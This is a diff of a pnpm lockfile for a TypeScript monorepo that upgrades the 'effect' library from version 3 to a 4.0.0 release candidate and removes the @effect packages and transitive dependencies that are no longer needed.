46 - specifier: ^0.30.0
47 - version: 0.30.0
40 + specifier: 4.0.0-rc.112
41 + version: 4.0.0-rc.112
42 '@mastra/core':
43 specifier: 1.53.0
44 version: 1.53.0
@@ -64,8 +58,8 @@ catalogs:
58 specifier: ^17.4.2
59 version: 17.4.2
60 effect:
67 - specifier: ^3.22.1
68 - version: 3.22.1
61 + specifier: 4.0.0-rc.112
62 + version: 4.0.0-rc.112
63 hono:
64 specifier: ^4.13.7
65 version: 4.13.7
@@ -113,7 +107,6 @@ catalogs:
107 overrides:
108 '@mastra/mcp@>=1.17.3 <2': 1.17.2
109 qs@<6.16.0: '>=6.16.0 <7'
116 - toml@<4.2.0: '>=4.2.0 <5'
110 protobufjs: 7.6.5
111 minimatch@>=10.0.0 <10.2.3: '>=10.2.3 <11'
112 js-yaml@>=4.0.0 <4.3.2: '>=4.3.2 <5'
@@ -1200,12 +1193,9 @@ importers:
1193 '@composio/ts-builders':
1194 specifier: workspace:*
1195 version: link:../ts-builders
1203 - '@effect/cli':
1204 - specifier: 'catalog:'
1205 - version: 0.77.0(@effect/platform@0.97.1(effect@3.22.1))(@effect/printer-ansi@0.51.0(@effect/typeclass@0.41.0(effect@3.22.1))(effect@3.22.1))(@effect/printer@0.51.0(@effect/typeclass@0.41.0(effect@3.22.1))(effect@3.22.1))(effect@3.22.1)
1196 '@effect/platform-bun':
1197 specifier: 'catalog:'
1208 - version: 0.91.2(@effect/cluster@0.60.2(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/sql@0.52.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/workflow@0.19.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/sql@0.52.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(effect@3.22.1)
1198 + version: 4.0.0-rc.112(effect@4.0.0-rc.112)
1199 '@modelcontextprotocol/sdk':
1200 specifier: 'catalog:'
1201 version: 1.30.0(@cfworker/json-schema@4.1.1)(zod@4.5.4)
@@ -1217,7 +1207,7 @@ importers:
1207 version: 0.16.0
1208 effect:
1209 specifier: 'catalog:'
1220 - version: 3.22.1
1210 + version: 4.0.0-rc.112
1211 extract-zip:
1212 specifier: ^2.0.1
1213 version: 2.0.1(supports-color@10.2.2)
@@ -1264,12 +1254,9 @@ importers:
1254 '@effect/language-service':
1255 specifier: 'catalog:'
1256 version: 0.87.2
1267 - '@effect/platform':
1268 - specifier: 'catalog:'
1269 - version: 0.97.1(effect@3.22.1)
1257 '@effect/vitest':
1258 specifier: 'catalog:'
1272 - version: 0.30.0(effect@3.22.1)(vitest@4.1.11)
1259 + version: 4.0.0-rc.112(effect@4.0.0-rc.112)(vitest@4.1.11)
1260 '@types/bun':
1261 specifier: 'catalog:'
1262 version: 1.4.1
@@ -1302,7 +1289,7 @@ importers:
1289 version: 1.4.2
1290 effect:
1291 specifier: 'catalog:'
1305 - version: 3.22.1
1292 + version: 4.0.0-rc.112
1293 tsdown:
1294 specifier: 'catalog:'
1295 version: 0.23.0(@arethetypeswrong/core@0.18.5)(publint@0.3.24)(tsx@4.23.13)(typescript@7.0.2)(unrun@0.2.27(@emnapi/core@1.11.2)(@emnapi/runtime@1.11.3))
@@ -1440,7 +1427,7 @@ importers:
1427 version: 4.1.1
1428 effect:
1429 specifier: 'catalog:'
1443 - version: 3.22.1
1430 + version: 4.0.0-rc.112
1431 devDependencies:
1432 '@composio/json-schema-to-zod':
1433 specifier: workspace:*
@@ -2289,106 +2276,26 @@ packages:
2276 resolution: {integrity: sha512-nPUnwDkLtupPXnZQYrCwPFcuTydCDqTY6ZbFqhsL4S4kVq0AT418kPa/6uXwtaCD+MjBNBltb7ScTYX65yeE1w==}
2277 engines: {node: '>=22.19.0'}
2278
2292 - '@effect/cli@0.77.0':
2293 - resolution: {integrity: sha512-uVw33bcqPaSu6YZqGf6MyM2CbYsE79mrAnQsDzSFnP8jmnjNfXWrfmWUGK2yy0jXD0wWmVbmvwm4xVFv2Utsog==}
2294 - peerDependencies:
2295 - '@effect/platform': ^0.97.1
2296 - '@effect/printer': ^0.51.0
2297 - '@effect/printer-ansi': ^0.51.0
2298 - effect: ^3.22.1
2299 -
2300 - '@effect/cluster@0.60.2':
2301 - resolution: {integrity: sha512-GEODN5kvFJ0L0XSkANcS8s6lfhjrrA8x/ezYUV/lXerqCHf5xo3ZTPUanGMHu5Byvikng0mZDcyNvke2sGjfSQ==}
2302 - peerDependencies:
2303 - '@effect/platform': ^0.97.1
2304 - '@effect/rpc': ^0.76.2
2305 - '@effect/sql': ^0.52.1
2306 - '@effect/workflow': ^0.19.1
2307 - effect: ^3.22.1
2308 -
2309 - '@effect/experimental@0.61.1':
2310 - resolution: {integrity: sha512-+P+PgGQeE2fXmsm63YoyENNcQIc7OiCkY4/HLkEdTvq93syfGIpwDfQD8u3xODMHJhZ5ZtRZHH4+UedFO0tLiA==}
2311 - peerDependencies:
2312 - '@effect/platform': ^0.97.1
2313 - effect: ^3.22.1
2314 - ioredis: ^5
2315 - lmdb: ^3
2316 - peerDependenciesMeta:
2317 - ioredis:
2318 - optional: true
2319 - lmdb:
2320 - optional: true
2321 -
2279 '@effect/language-service@0.87.2':
2280 resolution: {integrity: sha512-CfiSoaVQO8pZgaMZGw5VvMvRGybsJ2LaSDoLYaqiVGvo/YYPYVR2GzUKY0h1NtIweq/+SQ5XLrvtzPIttWQ0GQ==}
2281 hasBin: true
2282
2326 - '@effect/platform-bun@0.91.2':
2327 - resolution: {integrity: sha512-lISuYdx54uX6BIu0AIwvIqG6mbFkT0UlqGWZm7Jn2V6Ni3nCumnaBfMxYrdGWJzkoGIi1xEkvmRRk5Ff7r6NEA==}
2283 + '@effect/platform-bun@4.0.0-rc.112':
2284 + resolution: {integrity: sha512-Y5n2HhV/vsbrJls9ukX42RL7zqXQxISHegWFsP9njsCyDmGTnq7QYSO82rglwrLPwtTrv5dkSRTuGw4+oXxgMg==}
2285 peerDependencies:
2329 - '@effect/cluster': ^0.60.2
2330 - '@effect/platform': ^0.97.1
2331 - '@effect/rpc': ^0.76.2
2332 - '@effect/sql': ^0.52.1
2333 - effect: ^3.22.1
2334 -
2335 - '@effect/platform-node-shared@0.61.1':
2336 - resolution: {integrity: sha512-MJAJ1Nc43pYJb5ulFtdNID8klNyRLcbQ0zZ7XYRcBAlT/DrCyN4yAD89AzosmUyfOU+LMHdc8LTMt4rKNEMFaA==}
2337 - peerDependencies:
2338 - '@effect/cluster': ^0.60.1
2339 - '@effect/platform': ^0.97.1
2340 - '@effect/rpc': ^0.76.1
2341 - '@effect/sql': ^0.52.1
2342 - effect: ^3.22.1
2343 -
2344 - '@effect/platform@0.97.1':
2345 - resolution: {integrity: sha512-IevWxwmrxCdeXxbXDx/hiOstHtERRigd1nhZSuHgiFEl7NkBmS/5GVWsRacq4NfJN2uCXqggETKNwij15VEpew==}
2346 - peerDependencies:
2347 - effect: ^3.22.1
2286 + effect: ^4.0.0-rc.112
2287
2349 - '@effect/printer-ansi@0.51.0':
2350 - resolution: {integrity: sha512-tV36FU7q+3/avuctRl7Gt4u2RsVJ2x2b0n82s6SLUcXxDZ0G1dkE2feQL0UeSjPRZhgq36CaVAEDyhDPkSK8XQ==}
2351 - peerDependencies:
2352 - '@effect/typeclass': ^0.41.0
2353 - effect: ^3.22.1
2354 -
2355 - '@effect/printer@0.51.0':
2356 - resolution: {integrity: sha512-TdUPaEKwLbo9lpl+atjJvcQqNGM5/sH5Y+iulaLw3uvArHrZSx+HHwa0q0ptuNmOfuEG5j/RRAJHcKFmUyOi8Q==}
2357 - peerDependencies:
2358 - '@effect/typeclass': ^0.41.0
2359 - effect: ^3.22.1
2360 -
2361 - '@effect/rpc@0.76.2':
2362 - resolution: {integrity: sha512-x/4jvjufr1m3QWAace7G5Xh09DDcaeU7ijvS0Qumkan/hM89n19JClYnlV3IW93RACZInbgdyOVA+4kOQJ+JQQ==}
2363 - peerDependencies:
2364 - '@effect/platform': ^0.97.1
2365 - effect: ^3.22.1
2366 -
2367 - '@effect/sql@0.52.1':
2368 - resolution: {integrity: sha512-dUVPjlUgpga6sDa/MtYipHAqzHx2St41hxI00nXTBt4IBBJaf2lTGaOvlEoBg/q6PHVAgSoKnxe19pWUvabC9g==}
2369 - peerDependencies:
2370 - '@effect/experimental': ^0.61.1
2371 - '@effect/platform': ^0.97.1
2372 - effect: ^3.22.1
2373 -
2374 - '@effect/typeclass@0.41.0':
2375 - resolution: {integrity: sha512-Tsv94iDPUWgmz/JsYUh7awx5mmFukEJZB+duyzlLRlCHxNUz5LHBBzTaEfUPNMzAE1s8FTUSVwdPSpL0DznXKg==}
2376 - peerDependencies:
2377 - effect: ^3.22.0
2378 -
2379 - '@effect/vitest@0.30.0':
2380 - resolution: {integrity: sha512-2qcK7F4XSwOn7Ye9vgEkrndHiiHVf9Nl+U5jvvLBKeYx4+8++O5Y8RFezaQzs/rWx8GkdlStv/s+HYMHZ/2/AQ==}
2288 + '@effect/platform-node-shared@4.0.0-rc.112':
2289 + resolution: {integrity: sha512-ttjz0xKamFN7vL8pNDYVwddJLjZvqKePc05djlz2VcdaKbLsnYbtMnL1rbOfHgEnIUSHGh7FkjaN4DM1Ov81sQ==}
2290 + engines: {node: '>=18.0.0'}
2291 peerDependencies:
2382 - effect: ^3.22.0
2383 - vitest: ^3.2.0
2292 + effect: ^4.0.0-rc.112
2293
2385 - '@effect/workflow@0.19.1':
2386 - resolution: {integrity: sha512-irU6ddHdIxYOhv0cJiJTk2AUxRmPYjRJ5JdB5UCvpJC4vLCyR2XyKspiCNDiEX1aSGPhVWEXhVMWXR1cErMS3A==}
2294 + '@effect/vitest@4.0.0-rc.112':
2295 + resolution: {integrity: sha512-mEKh/FI64mt8JK1/v9mpOrJYdnp+UFZdRUBMEdZMiKz7klg6NPqVgg/oeAGH6wOOQc2iAPcfc2H9BbAv1KyzMQ==}
2296 peerDependencies:
2388 - '@effect/experimental': ^0.61.1
2389 - '@effect/platform': ^0.97.1
2390 - '@effect/rpc': ^0.76.2
2391 - effect: ^3.22.1
2297 + effect: ^4.0.0-rc.112
2298 + vitest: '>=4.1.0 <5.0.0'
2299
2300 '@emnapi/core@1.11.2':
2301 resolution: {integrity: sha512-TC8MkTuZUtcTSiFeuC0ksCh9QIJ5+F21MvZ4Wn4ORfYaFJ/0dsiudv5tVkejgwZlwQ39jL9WWDe2lz8x0WglOA==}
@@ -3370,88 +3277,6 @@ packages:
3277 cpu: [x64]
3278 os: [win32]
3279
3373 - '@parcel/watcher-android-arm64@2.6.0':
3374 - resolution: {integrity: sha512-trgpLSCKRC/huFjXX/Smh+0sWe4+YtKfktIToiMl59ghz7z+qkH6kMvNnUbLyRs9N11t8l4svSCs1+5B3rOAhA==}
3375 - engines: {node: '>= 10.0.0'}
3376 - cpu: [arm64]
3377 - os: [android]
3378 -
3379 - '@parcel/watcher-darwin-arm64@2.6.0':
3380 - resolution: {integrity: sha512-Y3QV0gl7Q1zbfueunkWIERICbEojQFCgpyG7YqOGNFLsckXyI1xu9mAIUpKY9QBYzBtSkN8dBPwd3yiAO9ovMw==}
3381 - engines: {node: '>= 10.0.0'}
3382 - cpu: [arm64]
3383 - os: [darwin]
3384 -
3385 - '@parcel/watcher-darwin-x64@2.6.0':
3386 - resolution: {integrity: sha512-Ohv6OpzhUfKYD7Beb8kDvG0jbIxORCYY1JRdZnaBtnjjkJxgD7ZVL0nw2sCYd0yTMKTvz3nnTnOF3cDifK+kvw==}
3387 - engines: {node: '>= 10.0.0'}
3388 - cpu: [x64]
3389 - os: [darwin]
3390 -
3391 - '@parcel/watcher-freebsd-x64@2.6.0':
3392 - resolution: {integrity: sha512-5HmXvDgs8VK+74jF9y9/2FE3/OnlcKmc56tjmSrEuZjpSZOGL+fvAu+HKJBdPs9uwoP2hE6TlSUpXZ/C5jUFmQ==}
3393 - engines: {node: '>= 10.0.0'}
3394 - cpu: [x64]
3395 - os: [freebsd]
3396 -
3397 - '@parcel/watcher-linux-arm-glibc@2.6.0':
3398 - resolution: {integrity: sha512-Ps/hui3A+vMbjdqlqAowK2ZL8+BO8dBjxeWXj6npTBs3jx4wWmbPpaLuqwrQrSqIVMCnpWo238bJ1U37GhQOYg==}
3399 - engines: {node: '>= 10.0.0'}
3400 - cpu: [arm]
3401 - os: [linux]
3402 - libc: [glibc]
3403 -
3404 - '@parcel/watcher-linux-arm-musl@2.6.0':
3405 - resolution: {integrity: sha512-9c6AUHgHoG+IY88MRIHupztQiQnrbqHYQjkM2btA+Bf/wQnQMuiD0Wfk1EVv3TlNT3x41uU71rn6E4xh/+zvkw==}
3406 - engines: {node: '>= 10.0.0'}
3407 - cpu: [arm]
3408 - os: [linux]
3409 - libc: [musl]
3410 -
3411 - '@parcel/watcher-linux-arm64-glibc@2.6.0':
3412 - resolution: {integrity: sha512-yHRqS2owEXe6Hic9z6Mh1ECsCd+ODVOGvZDyciqRd21+v+o+DnXMOrw50DSpIG2sb8GPEaPPmfeCAWKPJdq46g==}
3413 - engines: {node: '>= 10.0.0'}
3414 - cpu: [arm64]
3415 - os: [linux]
3416 - libc: [glibc]
3417 -
3418 - '@parcel/watcher-linux-arm64-musl@2.6.0':
3419 - resolution: {integrity: sha512-WhB2e/V7rqdHHWZusBSPuy5Ei8S6lSz6FE5TKKQz5h3a0O+C+mhY7vxU9b/stqvMb8beLnPY82ZrFTLKs+SrKA==}
3420 - engines: {node: '>= 10.0.0'}
3421 - cpu: [arm64]
3422 - os: [linux]
3423 - libc: [musl]
3424 -
3425 - '@parcel/watcher-linux-x64-glibc@2.6.0':
3426 - resolution: {integrity: sha512-ulGE6x6Oz6iAwg75T8YQSoguBWasniIbX+QWpaYPcCnDOpdWX3k+4xbEYPZVLxOuoJI+svJJPD3sEj8G7lrQ3A==}
3427 - engines: {node: '>= 10.0.0'}
3428 - cpu: [x64]
3429 - os: [linux]
3430 - libc: [glibc]
3431 -
3432 - '@parcel/watcher-linux-x64-musl@2.6.0':
3433 - resolution: {integrity: sha512-tkBYKt7YQrjIJWYDnto2YgO8MRkjlMTSNoRHzsXinBqbLdeOM3L32wPZJvIZxqaLMfSlS/4sUjH/6STVP/XDLw==}
3434 - engines: {node: '>= 10.0.0'}
3435 - cpu: [x64]
3436 - os: [linux]
3437 - libc: [musl]
3438 -
3439 - '@parcel/watcher-win32-arm64@2.6.0':
3440 - resolution: {integrity: sha512-gIZAP23jaHjGWasY/TY6yL7NHFClf0Ga7FN+iINvk+KN94rhm94lYZhFsbYFNcA04/onvGD9kKmiJLJB2HbNwQ==}
3441 - engines: {node: '>= 10.0.0'}
3442 - cpu: [arm64]
3443 - os: [win32]
3444 -
3445 - '@parcel/watcher-win32-x64@2.6.0':
3446 - resolution: {integrity: sha512-cA+/pXV2YkfxlIcXOQ5fSWqAzzPyD78/x5qbK/I0vUkrlYHA8TIz+MXjAbGouguKVSI4bOmkTSJ1/poVSsgt+A==}
3447 - engines: {node: '>= 10.0.0'}
3448 - cpu: [x64]
3449 - os: [win32]
3450 -
3451 - '@parcel/watcher@2.6.0':
3452 - resolution: {integrity: sha512-7FNeNl8NCE7aINx7WXiKQrPYZWC/hvrTsmk6zmxbI7LTXE7hVek/n8AfVgpe2y82zl3w0HvCHN0bVKMBoJcC0w==}
3453 - engines: {node: '>= 10.0.0'}
3454 -
3280 '@pnpm/deps.graph-sequencer@1100.0.1':
3281 resolution: {integrity: sha512-pOr5+q1fLYKwFN3LAJuGZEnfXDcQ73zqgDHMtGy+K+uIoUqyY+6MeDCWFwfu+4EFuq76I5EPFofoNAI+Bmmq4A==}
3282 engines: {node: '>=22.13'}
@@ -4752,8 +4577,8 @@ packages:
4577 ee-first@1.1.1:
4578 resolution: {integrity: sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==}
4579
4755 - effect@3.22.1:
4756 - resolution: {integrity: sha512-TNoXushmPOBAjJlthF5d2QwnX2xBPEtcNJr5XKNKbRLbDvBcOYkXlYDfvGfSA0zriwLFuCll5MDtNMAdZL17PQ==}
4580 + effect@4.0.0-rc.112:
4581 + resolution: {integrity: sha512-wXxwuh1Ywnv4cPRM3Wfa0vDwuOHnZ1TsTgHJkG9XgzND6inhBH9n1vBxhg3iIXOia/OrpmvVmd3lrD4vq6bF3A==}
4582
4583 emoji-regex@8.0.0:
4584 resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==}
@@ -4904,10 +4729,6 @@ packages:
4729 engines: {node: '>= 10.17.0'}
4730 hasBin: true
4731
4907 - fast-check@3.23.2:
4908 - resolution: {integrity: sha512-h5+1OzzfCC3Ef7VbtKdcv7zsstUQwUDlYpUTvjeUsJAssPgLn7QzbboPtL5ro04Mq0rPOsMzl7q5hIbRs2wD1A==}
4909 - engines: {node: '>=8.0.0'}
4910 -
4732 fast-check@4.9.0:
4733 resolution: {integrity: sha512-7ms6T7SybUev/PQITciI0yLM2pOSFy5zpG8Ty7tQofcVaQUvrMXp6CBwqF6fThLCLOrfBtuHAtwq6Yu4XPCllg==}
4734 engines: {node: '>=12.17.0'}
@@ -4960,9 +4781,6 @@ packages:
4781 resolution: {integrity: sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==}
4782 engines: {node: '>= 18.0.0'}
4783
4963 - find-my-way-ts@0.1.6:
4964 - resolution: {integrity: sha512-a85L9ZoXtNAey3Y6Z+eBWW658kO/MwR7zIafkIUPUMf3isZG0NCs2pjW2wtjxAKuJPxMAsHUIP4ZPGv0o5gyTA==}
4965 -
4784 flatted@3.4.4:
4785 resolution: {integrity: sha512-5+ybhBZANEJxaH3X5evAFatUxLfEHSr7n6kYJ+1Qd0mUqr4eu9gIf6GDbWHf8RJijHrjjO8G+la14SlL2SeS1Q==}
4786
@@ -5149,10 +4967,6 @@ packages:
4967 inherits@2.0.4:
4968 resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==}
4969
5152 - ini@4.1.3:
5153 - resolution: {integrity: sha512-X7rqawQBvfdjS10YU1y1YVreA3SsLrW9dX2CewP2EbBJM4ypVNLDkO5y04gejPwKIY9lR+7r9gn3rFPt/kmWFg==}
5154 - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}
5155 -
4970 ip-address@10.5.0:
4971 resolution: {integrity: sha512-R5SnVLJmgYYvf2F2ZgwSBnelz5G4q5AxIC277GDfUaNbrZKNANcBC7RHqYYePlszf4kBolVkJauG0ZjHHFh55g==}
4972 engines: {node: '>= 12'}
@@ -5170,10 +4984,6 @@ packages:
4984 resolution: {integrity: sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==}
4985 engines: {node: '>=0.10.0'}
4986
5173 - is-extglob@2.1.1:
5174 - resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==}
5175 - engines: {node: '>=0.10.0'}
5176 -
4987 is-fs-case-sensitive@2.0.0:
4988 resolution: {integrity: sha512-JoCsyGITdYPM+pUbeMQ4IiEuQ4wjPdeWORlG7n644isewbcxiQIr+9gmF5k7UabTP/jLBRkbgydEamR7JZBKHA==}
4989
@@ -5181,10 +4991,6 @@ packages:
4991 resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==}
4992 engines: {node: '>=8'}
4993
5184 - is-glob@4.0.3:
5185 - resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==}
5186 - engines: {node: '>=0.10.0'}
5187 -
4994 is-in-ssh@1.0.0:
4995 resolution: {integrity: sha512-jYa6Q9rH90kR1vKB6NM7qqd1mge3Fx4Dhw5TVlK1MUBqhEOuCagrEHMevNuCcbECmXZ0ThXkRm+Ymr51HwEPAw==}
4996 engines: {node: '>=20'}
@@ -5305,9 +5111,6 @@ packages:
5111 resolution: {integrity: sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==}
5112 engines: {node: '>=6'}
5113
5308 - kubernetes-types@1.30.0:
5309 - resolution: {integrity: sha512-Dew1okvhM/SQcIa2rcgujNndZwU8VnSapDgdxlYoB84ZlpAD43U6KLAFqYo17ykSFGHNPrg0qry0bP+GJd9v7Q==}
5310 -
5114 langchain@1.5.10:
5115 resolution: {integrity: sha512-JaC12C1qyGn985vvjttr4hr8lfFzWhrXp2M1byZJGmNJ2RiIgqnhiYDuLlG/xHDxhKD3onJ5pCuUif/cbdqPhA==}
5116 engines: {node: '>=20'}
@@ -5576,11 +5379,8 @@ packages:
5379 resolution: {integrity: sha512-4kmO/MdyUIkLIvTPr8VHLil4AtoKIoniWPIEk5+CDy0xnWC84azhSFmuJ7PxZdsYtiP5kEeQsORAVIeMgxT+Hw==}
5380 hasBin: true
5381
5579 - msgpackr@1.12.1:
5580 - resolution: {integrity: sha512-4EUH9tQHnMmEgzW/MdAP0KIfa1T9AF+htl0ffe2n5vb2EKn9y2co8ccpgWko6S52Jy1PQZKwRnx5/KkYjtd9MQ==}
5581 -
5582 - multipasta@0.2.8:
5583 - resolution: {integrity: sha512-ZPWuMKyv0cSO29f7hozp+k6+crZbQijV8ipMvxNxRf2SwtYGTX1ZX89Kd20VV4H9Znonx+EQn+iy1wGQsJ+b+Q==}
5382 + msgpackr@2.1.0:
5383 + resolution: {integrity: sha512-p/pBCVO63CsvvpkomUnNNag6+n38rULuDA6HHe70o2gtC8ODI52foF/4ko2qQcp6OiErJXTmrZeXmsGGHsIQNQ==}
5384
5385 mustache@4.2.0:
5386 resolution: {integrity: sha512-71ippSywq5Yb7/tVYyGbkBggbU8H3u5Rz56fH60jGFgr8uHwxs+aSKeqmluIVzM0m0kB7xQjKS6qPfd0b2ZoqQ==}
@@ -5606,9 +5406,6 @@ packages:
5406 engines: {node: ^20.19.0 || >=22.12.0}
5407 hasBin: true
5408
5609 - node-addon-api@7.1.1:
5610 - resolution: {integrity: sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==}
5611 -
5409 node-addon-api@8.9.2:
5410 resolution: {integrity: sha512-VijLXbi3UACN69I0JVXJsX4tjACjNoQDgv2gTF6sx2wWEi8tkSg2eX8p5gSIFi8z2+DL3oHmY6OyKce38SDolg==}
5411 engines: {node: ^18 || ^20 || >= 21}
@@ -5906,9 +5703,6 @@ packages:
5703 resolution: {integrity: sha512-uxFIHU0YlHYhDQtV4R9J6a52SLx28BCjT+4ieh7IGbgwVJWO+km431c4yRlREUAsAmt/uMjQUyQHNEPf0M39CA==}
5704 engines: {node: '>=6'}
5705
5909 - pure-rand@6.1.0:
5910 - resolution: {integrity: sha512-bVWawvoZoBYpp6yIoQtQXHZjmz35RSVHnUOTefl8Vcjr8snTPY1wnpSPMWekcFwbxI6gtmT7rSYPFvz71ldiOA==}
5911 -
5706 pure-rand@8.4.2:
5707 resolution: {integrity: sha512-vvuOGgcuPJAirlHvuQw1TrOiw7ptaIXXmIbNuiNOY6lNGJJH49PQ1Kj4nd783nPdQhQdicgOjVI2yI/9BD6/Ng==}
5708
@@ -6227,10 +6021,6 @@ packages:
6021 tokenx@1.3.0:
6022 resolution: {integrity: sha512-NLdXTEZkKiO0gZuLtMoZKjCXTREXeZZt8nnnNeyoXtNZAfG/GKGSbQtLU5STspc0rMSwcA+UJfWZkbNU01iKmQ==}
6023
6230 - toml@4.3.0:
6231 - resolution: {integrity: sha512-lVb8X9BsPVuH0M4BKeS91tXAmJvCjQ5UIyAbQFaxkKGyUFK2RPkhwaFSQH8vbpl1d23eu/IBH+dwVMHWaq9A5A==}
6232 - engines: {node: '>=20'}
6233 -
6024 totalist@3.0.1:
6025 resolution: {integrity: sha512-sf4i37nQ2LBx4m3wB74y+ubopq6W/dIzXg0FDGjsYnZHVa1Da8FH853wlL2gtUhg+xJXjfk3kUZS3BRoQeoQBQ==}
6026 engines: {node: '>=6'}
@@ -7457,107 +7247,30 @@ snapshots:
7247 get-east-asian-width: 1.6.0
7248 marked: 18.0.5
7249
7460 - '@effect/cli@0.77.0(@effect/platform@0.97.1(effect@3.22.1))(@effect/printer-ansi@0.51.0(@effect/typeclass@0.41.0(effect@3.22.1))(effect@3.22.1))(@effect/printer@0.51.0(@effect/typeclass@0.41.0(effect@3.22.1))(effect@3.22.1))(effect@3.22.1)':
7461 - dependencies:
7462 - '@effect/platform': 0.97.1(effect@3.22.1)
7463 - '@effect/printer': 0.51.0(@effect/typeclass@0.41.0(effect@3.22.1))(effect@3.22.1)
7464 - '@effect/printer-ansi': 0.51.0(@effect/typeclass@0.41.0(effect@3.22.1))(effect@3.22.1)
7465 - effect: 3.22.1
7466 - ini: 4.1.3
7467 - toml: 4.3.0
7468 - yaml: 2.9.0
7469 -
7470 - '@effect/cluster@0.60.2(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/sql@0.52.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/workflow@0.19.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(effect@3.22.1))(effect@3.22.1)':
7471 - dependencies:
7472 - '@effect/platform': 0.97.1(effect@3.22.1)
7473 - '@effect/rpc': 0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1)
7474 - '@effect/sql': 0.52.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1)
7475 - '@effect/workflow': 0.19.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(effect@3.22.1)
7476 - effect: 3.22.1
7477 - kubernetes-types: 1.30.0
7478 -
7479 - '@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1)':
7480 - dependencies:
7481 - '@effect/platform': 0.97.1(effect@3.22.1)
7482 - effect: 3.22.1
7483 - uuid: 11.1.1
7484 -
7250 '@effect/language-service@0.87.2': {}
7251
7487 - '@effect/platform-bun@0.91.2(@effect/cluster@0.60.2(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/sql@0.52.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/workflow@0.19.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(@effect/rpc@0.76.2(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/sql@0.52.1(@effect/experimental@0.61.1(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(@effect/platform@0.97.1(effect@3.22.1))(effect@3.22.1))(effect@3.22.1)':
7252 + '@effect/platform-bun@4.0.0-rc.112(effect@4.0.0-rc.112)':
7253 dependencies:
